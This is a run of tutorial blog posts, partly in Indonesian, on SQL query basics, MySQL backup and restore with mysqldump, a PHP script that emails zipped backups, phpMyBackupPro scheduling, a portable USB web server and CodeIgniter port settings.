Pada contoh sebelumnya kita melihat sebuah operator < yang digunakan untuk membandingkan apakah operand sebelah kiri lebih kecil daripada operand sebelah kanan. Pada SQL, terdapat operator equality dan inequality lain yaitu:

Tabel 5 Operator equality dan inequality

Operator logic AND dan OR

Operator ini digunakan untuk menggabungkan dua atau lebih kondisi. Misalnya untuk melihat buku yang berjenis “Database” harganya kurang dari $3 , dapat anda gunakan query berikut ini

SELECT title, type, price
FROM titles
WHERE type = ‘DATABASE’ AND price < 50

Hasilnya adalah

+---------------------------+-------+
| title                     | price |
+---------------------------+-------+
| Oracle PL/SQL Programming | 42    |
| Database Developer        | 8     |
+---------------------------+-------+
2 rows in set (0.01 sec)

Between

Keyword BETWEEN dapat anda gunakan untuk membatasi suatu kolom berada pada suatu batas nilai tertentu. Misalnya untuk mencari buku yang harganya berkisar antara $2 hingga $5, dapat anda gunakan query:

SELECT title, price, type
FROM titles
WHERE price BETWEEN 30 AND 100

Hasilnya

+---------------------------+-------+----------+
| title                     | price | type     |
+---------------------------+-------+----------+
| Oracle PL/SQL Programming | 42    | DATABASE |
| Oracle PL/SQL Programming | 62    | DATABASE |
| Oracle Performance Tuning | 83    | DATABASE |
+---------------------------+-------+----------+
3 rows in set (0.01 sec)

Like

Keyword LIKE digunakan u ntuk mencari data yang memiliki pola tertentu. Misalnya untuk mencari buku yang judulnya mengandung kata UNIX, dapat anda gunakan query;

SELECT title, price
FROM titles
WHERE title LIKE ‘%windows%’

Hasilnya adalah

+---------------------------------+-------+
| title                           | price |
+---------------------------------+-------+
| Connectic Quick Cam for Windows | 25    |
| Borland Delphi for Windows      | 55    |
+---------------------------------+-------+
2 rows in set (0.01 sec)

Pada keyword LIKE dapat anda gunakan tanda-tanda khusus (wildcard) sebagai berikut ini:

Tabel 6 Wildcard pada keyword LIKE

Misalnya untuk mencari judul buku yang berawalan dengan huruf A, maka digunakan query

SELECT title FROM titles
WHERE title LIKE ‘A%’

Untuk mencari judul buku yang memiliki kode BU1234, BI1234, dan BW1234, maka digunakan query

SELECT title FROM titles
WHERE title like ‘B[UIW]1234’

Men-sortir data

Hasil query dapat anda sortir sesuai dengan kebutuhan anda dengan keyword ORDER BY. Misalnya untuk menampilkan daftar judul buku sesuai dengan urutan abjad, gunakan query

SELECT title, price
FROM titles
ORDER BY title

Untuk men-sortir dengan urutan terbalik, gunakan keyowrd tambahan DESC, seperti ini

SELECT title, price
FROM titles
ORDER BY title DESC

Anda dapat mensortir lebih dari satu kolom , misalnya query berikut ini

SELECT title, price
FROM titles
ORDER BY title, price

akan menghasilkan tampilan daftar buku yang terurut berdasarkan abjad dan harganya.

Agregate Function

Selain dari pengolahan record-record, SQL juga menyediakan fungsi-fungsi yang dapat digunakan untuk menghitung hasil tampilan. Fungsi-fungsi itu adalah seperti berikut ini.

Tabel 7 Fungsi-fungsi agregate

Misalnya untuk mengetahui harga rata-rata dari buku yang ada di daftar yang anda miliki, gunakan query

SELECT avg(price)
FROM titles

Hasilnya

+------------+
| avg(price) |
+------------+
| 49.1149    |
+------------+
1 row in set (0.00 sec)

Untuk mengetahui jumlah buku yang ada pada daftar, dapat anda gunakan query

SELECT count(*)
FROM titles

Hasilnya

+----------+
| count(*) |
+----------+
| 174      |
+----------+
1 row in set (0.00 sec)

Sub agregate dengan Group By

Fungsi count(*) dapat digunakan untuk mengetahui jumlah seluruh buku yang anda miliki. Untuk mengetahui jumlah buku dan harga rata-rata setiap jenis buku, anda harus menggunakan GROUP BY yang dikombinasikan dengan sum() dan avg() seperti berikut ini.

SELECT type, AVG(price) , SUM(price)
FROM titles
GROUP BY type

Hasilnya

+----------------------+------------+------------+
| type                 | avg(price) | sum(price) |
+----------------------+------------+------------+
| COMMUNICATION        | 76.8000    | 384        |
| COMPUTER ENGINEERING | 28.6667    | 86         |
| DATABASE             | 48.7500    | 195        |
| ELECTRONICS          | 50.6667    | 608        |
| ENVIRONMENT          | 41.3636    | 455        |
| FINANCE              | 51.0000    | 357        |
| INFOSYS              | 57.5455    | 633        |
| INTERNET             | 55.5556    | 1000       |
| INVESTMENT           | 41.5000    | 166        |
| MANAGEMENT           | 73.5000    | 147        |
| MARKETING            | 60.6667    | 182        |
| MISC                 | 38.3333    | 115        |
| NETWORKING           | 15.5000    | 31         |
| PROGRAMMING          | 47.7727    | 1051       |
| QUALITY ASSURANCE    | 80.0000    | 80         |
| SOFTWARE             | 37.1429    | 260        |
| UNIX                 | 45.5849    | 2416       |
| USER'S MANUAL        | 63.3333    | 380        |
+----------------------+------------+------------+
18 rows in set (0.02 sec)

Mem-filter hasil agregate function

Untuk mem-filter tampilan setelah dilakukan fungsi agregate, digunakan keyword HAVING. Misalnya untuk menampilkan jenis kategori yang harga rata-ratanya di atas $60, digunakan query

SELECT type, AVG(price)
FROM titles
GROUP BY type
HAVING AVG(price)>60

Hasilnya

+-------------------+------------+
| type              | avg(price) |
+-------------------+------------+
| COMMUNICATION     | 76.8000    |
| MANAGEMENT        | 73.5000    |
| MARKETING         | 60.6667    |
| QUALITY ASSURANCE | 80.0000    |
| USER'S MANUAL     | 63.3333    |
+-------------------+------------+
5 rows in set (0.02 sec)

Bandingkan jika anda menggunakan query

SELECT type, AVG(price)
FROM titles
WHERE price > 60
GROUP BY type

dimana proses filtering terjadi sebelum dirata-ratakan, artinya yang dirata-ratakan adalah buku yang memiliki harga di atas $60, maka hasilnya adalah

+-------------------+------------+
| type              | avg(price) |
+-------------------+------------+
| COMMUNICATION     | 76.8000    |
| DATABASE          | 72.5000    |
| ELECTRONICS       | 74.2000    |
| ENVIRONMENT       | 78.0000    |
| FINANCE           | 78.0000    |
| INFOSYS           | 76.5000    |
| INTERNET          | 75.1111    |
| INVESTMENT        | 84.0000    |
| MANAGEMENT        | 73.5000    |
| MARKETING         | 72.0000    |
| MISC              | 63.0000    |
| PROGRAMMING       | 74.0000    |
| QUALITY ASSURANCE | 80.0000    |
| UNIX              | 79.8421    |
| USER'S MANUAL     | 77.2500    |
+-------------------+------------+
15 rows in set (0.02 sec)

Join

Pada contoh-contoh sebelumnya kita hanya menggunakan sat tabel pada satu saat. Umumnya aplikasi dengan SQL server melakukan query dengan menggunakan lebih dari satu tabel pada satu saat.

Sekarang kita akan mencoba untuk melakukan query dengan tabel publishers digabungkan dengan tabel titles, dimana kita akan menampilkan daftar buku dan penerbitnya dalam satu query. Untuk hal ini kita memerlukan informasi baik dari tabel titles maupun tabel publishers. Proses penggabungan lebih dari satu tabel ini disebut join, sedangkan hubungan keduanya disebut relation.

Untuk melakukan join, tabel-tabel itu harus memiliki common key atau join key yang menentukan bagaimana baris-baris antar kedua tabel tersebut saling berhubungan. Contohnya pada tabel publishers dan titles, kedua tabel ini saling berbagi common key yang bernama pub_id. Pada tabel publishers, pub_id secara unik mengindetifikasi suatu baris pada tabel itu. Pada tabel titles, suatu nilai pub_id secara unik mengidentifikasi suatu baris pada tabel publishers. Ini berarti bahwa judul buku dengan pub_id ini diterbitkan oleh penerbit yang tercantum pada baris yang ditunjukkan oleh pub_id pada tabel publishers.

Secara diagram, hubungan kedua tabel tersebut dapat digambarkan sebagai berikut:

Gambar 2 Relasi tabel publishers dan titles

Saat menggabung dua tabel, SQL server tidak langsung mengerti hubungan antar dua tabel tersebut. Artinya anda harus menuliskan common key yang digunakan dalam penggabungan ini. Contohnya, untuk menampilkan daftar buku dan penerbitnya dari tabel titles dan publishers, dapat anda gunakan query berikut ini.

SELECT title, pub_name
FROM titles, publishers
WHERE titles.pub_id = publishers.pub_id

Hasilnya adalah sebagai berikut:

+----------------------------------------------------+----------------+
| title                                              | pub_name       |
+----------------------------------------------------+----------------+
...
| PSD                                                | Prentice Hall  |
| The Java Solution Guide                            | Prentice Hall  |
| 13th Arrl Digital Communications Conference        | Prentice Hall  |
| 15th Arrl and Tapr Digital Communications Conferen | Prentice Hall  |
| Unix Networking Programming                        | Sams           |
| Termcap & terminfo                                 | Sams           |
| Using C on the Unix System                         | Sams           |
| SCO in a Nitshell                                  | Sams           |
| Radio Communication                                | Sams           |
| The Programming Language                           | Sams           |
| Z80 Apllication                                    | Sams           |
| The New IEEE Standard Dictionary of Electrical and | Sams           |
| Wireless Digital Communicators Design and Theory   | Sams           |
| Building A Sucessful Software Business             | Sams           |
| Mathcad 4.0                                        | Sams           |
| 15th Arrl andTapr Digital Communications Conferenc | Sams           |
+----------------------------------------------------+----------------+
174 rows in set (0.03 sec)

Jika anda lupa untuk mencantumkan common key pada join, anda akan mendapatkan hasil yang sangat banyak yang merupakan daftar yang berisi iterasi judul buku untuk setiap baris penerbit.

Menghapus record dengan Delele Query

Untuk menghapus suatu record dengan kriteria tertentu, gunakan query berikut ini

DELETE FROM nama-tabel WHERE kriteria

Misalnya jika anda hendak menghapus record judul buku pada tabel titles yang memiliki harga di bawah $20, gunakan query berikut ini:

DELETE FROM titles WHERE price < 20

Untuk medelete seluruh record pada suatu tabel, gunakan perintah DELETE tanpa menentukan kriterianya, seperti :

DELETE FROM nama-table

Modifikasi record dengan Update query

Untuk memodifikasi nilai kolom dari suatu record, gunakan query UPDATE seperti berikut ini.

UPDATE nama-tabel
SET nama-kolom1=nilai-baru1, nama-kolom2=nilai-baru2,...
WHERE kriteria

Contohnya jika anda hendak memodifikasi nilai harga buku menjadi 50% untuk buku yang harganya masih berada di bawah $20, gunakan query

UPDATE titles
SET price=price * 1.5
WHERE price < 20

Untuk memodifikasi nilai suatu kolom secara keseluruhan, gunakan query UPDATE tanpa kriteria, misalnya

UPDATE titles
SET price=100

Query ini akan meneybabkan seluruh harga buku pada tabel titles menjadi $100.

Menambah record dengan INSERT

Untuk menambah record pada suatu tabel, gunakan query INSERT berikut ini

INSERT INTO nama-tabel
(kolom1, kolom2, ... kolomn)
VALUES (nilai1, nilai2, ... nilain)

Misalnya untuk menambahkan data berikut ini

• Nomor Indentifikasi Buku PE0034
• Judul Buku “Visual C++ 5.0, The Complete Refference”
• Jenis Buku “PEMROGRAMAN”
• Penerbit Osborne (kode 102)

Maka pada tabel titles, gunakan query berikut ini:

INSERT INTO titles
(title_id, title, type, pub_id, price, advance, royalty, ytd_sales, notes, pubdate)
VALUES
('PE0034', 'Visual C++ 5.0, The Complete Refference', 'PEMROGRAMAN', '102',34,0,0,0,' ', 1998)

Insert query dapat juga dituliskan tanpa nama-nama field seperti di atas, asalkan jumlah field parameter yang anda cantumkan pada keyword VALUES sama dengan jumlah field yang ada ada tabel yang sedang anda insertkan. Misalnya

INSERT INTO titles VALUES
('PE0034', 'Visual C++ 5.0, The Complete Refference', 'PEMROGRAMAN', '102',34,0,0,0,' ', 1998)

Image via CrunchBase

This simple PHP script can be used to backup MySQL databases and then send the zipped backup file to email addresses. The backup file can then be restored by any MySQL front end program like the mysql command line, Navicat MySQL, or phpMyAdmin.

The logic of the script is really simple:

1. initialization
2. create backup sql file
3. zip the file
4. send email

To do the backup automatically you can run the script through cron (*nix) or Task Scheduler (Windows) as described in next section.

This script uses PHP PEAR library so you need PEAR installed with the Mail and Mail_Mime packages. Read more about PEAR here: http://pear.php.net.

This script utilize a ZIP.exe command line program to do the compressing which can be downloaded from http://stahlforce.com/dev/index.php?tool=zipunzip. In *nix environtment you can use tar command line instead to create a tgz file.

Make sure you have write access to the $tmpDir directory.

<?php

/*********************************************************************\

initialization

\*********************************************************************/

ini_set('SMTP','smtp.telkom.net');

require_once('Mail.php');

require_once('Mail/mime.php');


// mysql & minor details..

$mysqlbinpath    = "c:/xampp/mysql/bin";

$tmpDir        = "c:/temp";

$zip        = "c:/xampp/zip/zip.exe";

$user        = "root";

$password    = "pwd";

$dbName        = "db";

$sqlFiles    = "";


//databases to backup

$dbs        = array ('cibpdb', 'mysql');


// email settings...

$to            = "anemail@gmail.com";

$from        = "anemail@gmail.com";

$subject    = "db - backup";

$attachment    = $tmpDir.'/backup-'.date('Y_M_d-H_i_s') . ".zip"; // or tgz in *nix


/*********************************************************************\

create backup sql file and the zip

\*********************************************************************/

foreach ($dbs as $dbname)

{

$sqlFile    = $tmpDir.'/'.$dbname.'-'.date('Y_m_d').".sql";

echo "creating $sqlFile\n";

$creatBackup    = $mysqlbinpath . "/mysqldump --add-drop-table -u ".$user." --password=".$password." ".$dbname." > ".$sqlFile;

exec($creatBackup);

$sqlFiles    .= ' ' . $sqlFile;

}


/*********************************************************************\

create the zip file

\*********************************************************************/


echo "creating $attachment\n";


//use this command in *nix environment

//$createZip    = "tar cvzf $attachment $sqlFiles";


//use this command in windows, must have zip.exe

$createZip    = "$zip $attachment $sqlFiles";

exec($createZip);


/*********************************************************************\

send zip to email

\*********************************************************************/

echo "sending $attachment to $to\n";

$headers = array('From' => $from, 'Subject' => $subject);


$textMessage = $attachment;

$htmlMessage = "";


$mime = new Mail_Mime("\n");

$mime->setTxtBody($textMessage);

$mime->setHtmlBody($htmlMessage);

$mime->addAttachment($attachment, 'text/plain');

$body = $mime->get();

$hdrs = $mime->headers($headers);

$mail = &Mail::factory('mail');

$mail->send($to, $hdrs, $body);


unlink($sqlFile);

unlink($attachment);


echo "done.";


?>

Please note on the $header above. I’ve found that PHP mail function failed to send email to a MDaemon SMTP server. If you encounter the same problem, here is the solution that works for me, to change the $header like the following:

$headers = array(

'From'            => $from,

'Reply-To'        => $from,

'X-Mailer'        => 'Microsoft Outlook Express 6.00.2900.5512',

'X-Rcpt-To'        => $to,

'X-MDRcpt-To'        => $to,

'X-MDRemoteIP'        => '10.5.68.249',

'X-Return-Path'        => $from,

'X-Envelope-From'    => $from,

'X-MDaemon-Deliver-To' => $to

);

Save the script above to a file for example backup-script.php and save it to a folder for example c:\xampp\

Setting up Windows Task Scheduler

If you need to run the backup script periodically using the Windows Task Scheduler, do the following steps:

Click on Start – Settings – Control Panel – Scheduled Tasks

Double click Add Scheduled Task

Click Next.

Click Browse… and locate the PHP.EXE executable file, for example C:\XAMPP\PHP\PHP.EXE.

Select the execution period of Daily, Weekly, Monthly, etc depending on your backup need. Click Next.

Select the start time and Date of the task. Also select the daily operation for the task, eg Every Day, Weekdays only, or Every x days. Click Next.

Next, Enter the username and password that will run the program as. Click Next.

Refine the Scheduled Task

On the dialog, the task periodic schedule is shown, you can refine it by checking “Open advanced properties for this task when I click Finish”. Then click Finish.

You need to change the Run field from

c:\xampp\php\php.exe

to

C:\xampp\php\php.exe c:\xampp\htdocs\backup-script.php

You may need to put a double quote on the command line parameter if your script resides on a folder that contains spaces, for example:

C:\xampp\php\php.exe  “C:\Documents and Settings\Toshiba\My Documents\backup-script.php”

This will run php program with an argument, which is our backup script created before.

If you need to adjust the period, you can click on the Schedule tab.

and then click Advanced button

On the above example, we check on Repeat task, which means we will run the backup program every 6 hours for 24 hours a day, starting from 29 June 2009. Click OK.

Our scheduled task will be listed at the Scheduled Tasks window as follow:

Run the Scheduled Task

When you are done, just wait until the schedule for the task to run, or you can right-click on it and click Run to run it now.

Backup file created by this periodic backup task can be restored using mysql command line, phpMyAdmin, Navicat MySQL, or other MySQL front end programs.

References:

• ZIP.EXE download http://stahlforce.com/dev/index.php?tool=zipunzip
• PEAR manual http://pear.php.net

Akhmad Daniel Sembiring

vITraining.com – Qualified IT Products, Outsourcing, and Services

Ligarwangi.com – Linux, E-book, Coffee, Gift, etc

Related articles by Zemanta

Backing up and Restoring mysql database could be done through several ways. You can backup and restore by exporting SQL script using MySQL command line or copying MySQL data directory from the original server to the destination server.

Using the second method will cause the stored procedure and function missing. In this article we will discuss how to overcome the situation.

Backup and Restore using MySQL command line

You can backup mysql database using mysqldump command line. Using this method, you can backup and restore all information on the database, including the triggers and the stored procedures that you have on the database.

This command line has many parameters, but there are only some of them that we are interested. For example to backup database ialfdb, you use the command:

mysqldump ialfdb –u root –p –add-drop-table > ialfdb.sql

The above command instruct the system to export SQL statements from the database ialfdb, connecting using username root (-u root), with password that will be asked later (-p), add drop table statement for every table that will be recreated again (—add-drop-table), save the resulting SQL statement to a file named ialfdb.sql in the current directory ( > ialfdb.sql ).

If the system was failed to executed mysqldump program then try to run it using the full path (typing the program’s exact location), for example: c:\xampp\mysql\bin\mysqldump or c:\program files\mysql\bin\mysqldump.

You can specify the destination directory for SQL file for the output by typing the file with it’s full path, for example c:\data\ialfdb.sql.

When the command is executed, it will ask you for a password, that is the password for user specified by –u parameter (root).

Enter password:

Just type the user’s password. Depending to the size of the database, it will take a while to process your request. After the process is done, you will be back to the command prompt.

Below is a screen capture of the command line session. I used it on Windows operating system, but there will be no big different on other operating system.

To restore the database, you should use the command line mysql. Again we are only interested in a few of all the parameter that the program has. To restore our backup file above (ialfdb.sql), use the command line:

mysql ialfdb –u root –p < ialfdb.sql

The command line above tell the system to restore the SQL scripts on the file ialfdb.sql ( < ialfdb.sql ), using user root to connect to the database ( –u root ), with password that will be asked later.

If the system was failed to executed mysql program then try to run it using the full path (typing the program’s exact location), for example: c:\xampp\mysql\bin\mysql or c:\program files\mysql\bin\mysql.

You can specify the source directory of the SQL script file by typing the file with it’s full path, for example c:\data\ialfdb.sql.

When the command is executed, it will ask you for a password, that is the password for user specified by –u parameter (root).

Enter password:

Just type the user’s password. Depending to the size of the database, it will take a while to process your request. After the process is done, you will be back to the command prompt.

Below is a screen capture of the command line session. I used it on Windows operating system, but there will be no big different on other operating system.

Backup and Restore by Copying the Data Directory

You could also backup and restore MySQL database by copying the data directory from a server to other server. By default, MySQL data directory resides on the data directory below the server installation path, for example c:\program files\mysql\data or c:\xampp\mysql\data. There will be directories for your database, in our case is the ialfdb directory.

Simply copy the data directory from the source server to the destination server using Windows Explorer.

The problem is when your database contains stored procedures and functions. You cannot simply the database directory, but you need also to copy the proc tables under the mysql directory. The files for that tables are: proc.myi, proc.myd, and proc.frm.

Of course, other stored procedure and function which are belong to (created at) other database will be copied also in the new database.

That’s all, hope this article is useful for you. Please leave me a comment if you have something to discuss.

Akhmad Daniel Sembiring
vITraining.com
Ligarwangi.com – toserba online

Pada kondisi dimana user minta bisa mencoba aplikasi yang kita bangun menggunakan WAMP (Windows Apache MySQL PHP) dan belum terdapat server komputer yang dapat kita installkan infrastruktur yang dibutuhkan, kita dapat menggunakan portable WAMP yang dapat dijalankan dari USB.

Kondisi lainnya adalah ketika kita ingin membuat versi trial aplikasi web kita ke calon customer.

Salah satu yang dapat digunakan adalah USB Webserver (http://www.usberbserver.nl).  Aplikasi ini berisi Apache, PHP, dan MySQL yang telah dikonfigurasi dan siap dijalankan sehingga kita tinggal mengisi aplikasi web yang akan kita demokan ke client.

Instalasi USB Webserver cukup mudah, tinggal extract file setupnya aja ke drive USB yang mau dibawah.  Setelah disetup dan diextrak, akan terdapat beberap direktori dibawah direktori utama misalnya E:\UsbWebserver, dimana E: adalah USB drive.

Direktori yang paling penting adalah D:\UsbWebserver\Root, dimana kita akan menyimpan aplikasi  web yang akan dijalankan.

Setelah dijalankan USB Webserver akan siap melayani akses web server pada port 8080 (dapat diganti melalui Settings Apache). Jadi misalnya aplikasi kita disimpan pada direktori C:\UsbWebserver\Root\demo maka aplikasi tersebut tinggal diakses melalui web browser pada alamat http://127.0.0.1:8080/demo.

Ketika dijalankan, maka terlihat halaman untuk setingan utama USB Webserver yaitu bahasa, hide at start, dan open localhost at start untuk menjalankan browser secara otomatis saat aplikasi dijalankan:

Pada halaman tsb kita dapat mengontrol server MySQL, APache, dan SMTP yaitu dengan menklik tombol-tombol yang terdapat pada bagian atas halaman tsb. Tanda kotak artinya server sedang berjalan, dan untuk mematikannya klik tombol tsb sehingga berubah menjadi tombol segitiga yang artinya server sedang tidak berjalan.

Klik tab Smtp untuk menampilkan settingan server SMTP yaitu host, port, dan email.

Klik tab Apache untuk melihat settingan server Apache, yaitu port webserver yang default nya 8080, dan jenis error yang akan ditampilkan pada log, defaultnya semua error.

Klik pada tab MySQL untuk melihat settingan MySQL yaitu port yang defaultnya  3307 dan password root MySQL yaitu usbw. APlikasi yang hendak kita jalankan perlu menyesuaikan dengan setting yang didefinisikan disini.

Untuk menyimpan settingan yang sudah ditentukan klik tombol "Opslaan" … gak tau artinya apa soalnya bhs Belanda, tapi kira-kira kayak OK gitu.. Atau klik tombol "Annuleren" untuk cancel.

Untuk membuka log file, config file, phpmyadmin, dll dapat digunakan tombol segitiga dibagian atas tengah window.

Menu yang muncul dapat digunakan untuk:

• membuka halaman setting spt diatas, Settings->Usb Webserver
• membuka config file apache httpd.conf, Settings->Apache
• membuka config file PHP.INI, Settings->PHP
• membuka config file phpmyadmin, Settings->Phpmyadmin
• membuka web browser pada alamat default, Localhost
• membuka folder root directory, Root Directory
• membuka web browser PhpMyAdmin
• membuka web browser yang berisi halaman informasi PHP, Php Info
• membuka halaman About
• dan menutup aplikasi

Beberapa Catatan

• settingan port mysql defaultnya 3307, sehingga aplikasi anda perlu menyesuaikan terutama pada function db_connect mysql, atau ganti settingan ini menjadi default MySQL yaitu 3306.
• settingan port apache defaultnya 8080, sehingga pemanggilan aplikasi harus menyertakan nomor port ini, misalnya http://localhost:8080, atau ganti settingan ini menjadi default Apache yaitu 80.
• settingan PHP.INI, allow_call_time_pass_reference defaultnya Off, sehingga aplikasi PHP perlu menyesuaikan yaitu tidak bisa mengirimkan parameter function langsung menggunakan variabel tetapi harus menggunakan refference variable tersebut, atau ganti settingan ini menjadi On (tidak direkomendasikan oleh PHP/Zend karena option ini bakalan dimatikan )

Secara default, database driver MySQL CodeIgniter konek ke port default MySQL yaitu 3306. Pada kondisi dimana port MySQL bukan 3306 misalnya 3307, CodeIgniter tidak punya option untuk menentukan pada port berapa MySQL berjalan.

Solusi untuk hal ini dapat dilakukan dengan beberapa cara:

1. mengedit file driver database CodeIgniter: system/database/drivers/mysqli/mysqli_driver.php. Pada file ini dapat ditentukan port MySQL pada function ‘db_connect’ yaitu dengan menambahkan parameter $port pada function tsb:
   mysqli_connect ( [string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket]]]]]] )
2. mengedit file PHP.INI, pada bagian  mysql.default_port, ganti dari 3306 menjadi 3307
3. jika tidak punya akses ke file PHP.INI, bisa juga dicoba dengan mengedit file config/database.php nya CodeIgniter yaitu pada baris:
   $db['default']['hostname'] = "mysqlhost.yourdomain.com:3307";

phpMyBackupPro is a tool created using PHP programming language that can be used to perform backup and restore on MySQL database server. In this article we are going to learn how to install and configure this tool, perform manual backup and then perform restore the previously backed up database. We will also learn how to setup an automatic periodic backup using the same tool.

Installation

Installation of this tool is simple. Just download the newest version from http://www.phpmybackuppro.net/download.php.

After downloading, extract the zip file to a directory on your PHP and Apache web server accessible from browser, ie the Document Root, for example C:\XAMPP\HTDOCS. Then you will get a new folder under it, for example C:\XAMPP\HTDOCS\phpMyBackupPro.

That’s it! Now go to your web browser and point the URL of phpMyBackupPro, for example http://localhost/phpMyBackupPro.

Configuration

After successfully copying the files, and pointing your browser to the URL , you will get a page similar to the following:

As you can see, there are several tabs that we need to explore:

1. Start, the current page, showing the system information
2. Configuration, the place to do some system configuration
3. Import, to import recently backed up databases
4. Backup, to do backing up of databases
5. Scheduled backup, to create a script to do an automatic backup regularly
6. Database info, showing detailed database information
7. SQL query, to do arbitrary SQL command on the server

To configuring the system, click on the Configuration tab. You will see a page like the following:

On that page, you need to adjust the configuration according to your system. That will be:

1. Site name: the name of your site or application to backup
2. Language: english
3. SQL Data (mandatory settings)
   1. MySQL hostname: the host name or IP address of your MySQL server
   2. MySQL username: the user name to connect to your MySQL server
   3. MySQL password: the password for the user name to connect to your MySQL server
   4. only this database: enter the name of the database if you need to backup only that database, otherwise leave it blank so that phpMyBackupPro can backup all of databases on the server
4. FTP Settings (optional), set it up only if you want to save (upload) the backup file to an FTP server
   1. Save backup per FTP server ? check on it if you want to save (upload) the backup file to an FTP server
   2. FTP server, fill with the hostname or IP Address of the FTP server
   3. FTP username: the username to connect to the FTP server
   4. FTP password: the password of the username to connect to the FTP server
   5. FTP path: the location of the backup file on the FTP server
   6. User passive FTP: check it if you are using passive FTP server
   7. FTP Port: the port number of the FTP server, or leave it to 21 for the default number
   8. delete files on FTP server:
5. Backup per Email, set it up if you want to send the backup file to an email address
   1. use email: check it if you want to send the backup file to an email address
   2. email address: enter the email address to receive the backup file

Click on the Save button when you are done.

That’s all for the basic configuration. Your backup system can now be operated to do the backup and restore process from the same URL address. You may check also the Extended Configuration and the System Variables section.

Performing Manual Backup

After successfully configure your system, now you can do the backup process. Click on the Backup tab, then a page like the following will be shown:

You need to do the following steps to backup database(s):

1. Select the database(s) to backup, click on the databases list; to select more than one database, use CTRL-click (press CTRL button on your keyboard and then click your mouse). You may click “select all” to select all of your database listed.
2. double check the options to
   1. “export tables”, whether you want to backup the table definition or not
   2. “export data”, whether you want to backup the table data or not
   3. “add drop table”, whether you want to add the drop table statement or not, before the create table statement
   4. compression, select one of none, gzip, or zip
3. Select directories to backup to FTP server, select the directory on your FTP server (if you set it up before on the configuration step), or you can add manual FTP directories on the box right to the directory list. You may also check on the “Packed in One ZIP file”.
4. Click Backup button when you are done.

That’s all. You backup is now complete.

Performing Restore

To do the restore of a previously backed up database, click on the Import tab. A page similar to the following will show:

On that page you will see a list several files grouped by the database name corresponding to the backup process. On that list of files, there are some information like the file name, date time the backup is created, and the file size.

To restore a database, simply click “import” link on the file list that correspond to the database to be restored and the date the backup was performed.

There are other options that you can do:

The backup information, clicking the “info” link, will show the following information:

The SQL statement view, clicking the “view” link, will show the following information:

To download the backup file, click on the “download” link.

To delete the backup file, click on the “delete” link.

Performing Scheduled Backup

To do the backup periodically, go to the Scheduled Backup tab, you will see a page similar to the following:

You need to do the following steps to setup a periodic backup database(s):

1. Select the backup period: for example: each time the script is called, every 1 hour, every 6 hours, etc.
2. Select directory where the PHP script file generated will be placed. Leave it to ./ to place the file on the same directory to phpMyBackupPro directory. (You may need to click on “Update directory list”  to refresh the directory listing, in case you create a new directory)
3. Select the database(s) to backup, click on the databases list; to select more than one database, use CTRL-click (press CTRL button on your keyboard and then click your mouse). You may click “select all” to select all of your database listed.
4. double check the options to
   1. “export tables”, whether you want to backup the table definition or not
   2. “export data”, whether you want to backup the table data or not
   3. “add drop table”, whether you want to add the drop table statement or not, before the create table statement
   4. compression, select one of none, gzip, or zip
5. Select directories to backup to FTP server, select the directory on your FTP server (if you set it up before on the configuration step), or you can add manual FTP directories on the box right to the directory list. You may also check on the “Packed in One ZIP file”.
6. Click Show Script button when you are done.

The following page will appear:

The page shows a PHP script to be run to do the backup. Enter the file name for the script, for example script.php, then click Save data. The file will be created on the directory specified at the previuos step.

After it is generated, you can run the script by the following ways:

1. run it using cron tabs (on Linux), or using Task Scheduler (on Windows, see below)
2. run it using command line

That’s all. You backup script is now complete. To restore the backup, do the same way as restoring backup created by manual backup.

Setting up Windows Task Scheduler

Add New Scheduled Task

If you need to run the backup script periodically using the Windows Task Scheduler, do the following steps:

Click on Start – Settings – Control Panel – Scheduled Tasks

Double click Add Scheduled Task

Click Next.

Click Browse… and locate the PHP.EXE executable file, for example C:\XAMPP\PHP\PHP.EXE.

Select the execution period of Daily, Weekly, Monthly, etc depending on your backup need. Click Next.

Select the start time and Date of the task. Also select the daily operation for the task, eg Every Day, Weekdays only, or Every x days. Click Next.

Next, Enter the username and password that will run the program as. Click Next.

Refine the Scheduled Task

On the dialog, the task periodic schedule is shown, you can refine it by checking “Open advanced properties for this task when I click Finish”. Then click Finish.

You need to change the Run field from

c:\xampp\php\php.exe

to

C:\xampp\php\php.exe c:\xampp\htdocs\phpMyBackupPro\script.php db1,db2

where db1, db2, etc is the database name to backup.

You may need to put a double quote on the command line parameter if your script resides on a folder that contains spaces, for example:

C:\xampp\php\php.exe  “C:\Documents and Settings\Toshiba\My Documents\backup\script.php” db1,db2

This will run php program with an argument, which is our backup script created before.

If you need to adjust the period, you can click on the Schedule tab.

and then click Advanced button

On the above example, we check on Repeat task, which means we will run the backup program every 6 hours for 24 hours a day, starting from 29 June 2009. Click OK.

Our scheduled task will be listed at the Scheduled Tasks window as follow:

Modify the PHP Script

The final step is to modify the script.php so that the included path is correct. The original script.php file is for example as follow:

<?php
// This code was created by phpMyBackupPro v.2.1 
// http://www.phpMyBackupPro.net
$_POST['db']=array("cibpdb", "mysql", );
$_POST['tables']="on";
$_POST['data']="on";
$_POST['drop']="on";
$_POST['zip']="zip";
$period=(3600*24)/2;
$security_key="e24c0df313d1cbc9a1e7258811ba5342";
// This is the relative path to the phpMyBackupPro v.2.1 directory
@chdir("../backup/");
@include("backup.php");
?>

Next, modify line contains @chdir command to point to the correct absolute folder where the phpMyBackupPro folder (the file named backup.php) resides, for example:

<?php
// This code was created by phpMyBackupPro v.2.1 
// http://www.phpMyBackupPro.net
$_POST['db']=array("cibpdb", "mysql", );
$_POST['tables']="on";
$_POST['data']="on";
$_POST['drop']="on";
$_POST['zip']="zip";
$period=(3600*24)/2;
$security_key="e24c0df313d1cbc9a1e7258811ba5342";
// This is the relative path to the phpMyBackupPro v.2.1 directory
@chdir("C:/xampp/htdocs/phpMyBackupPro/");
@include("backup.php");
?>

Run the Scheduled Task

When you are done, just wait until the schedule for the task to run, or you can right-click on it and click Run to run it now.

Backup file created by this periodic backup task can be restored as usual like on the Restoring step above.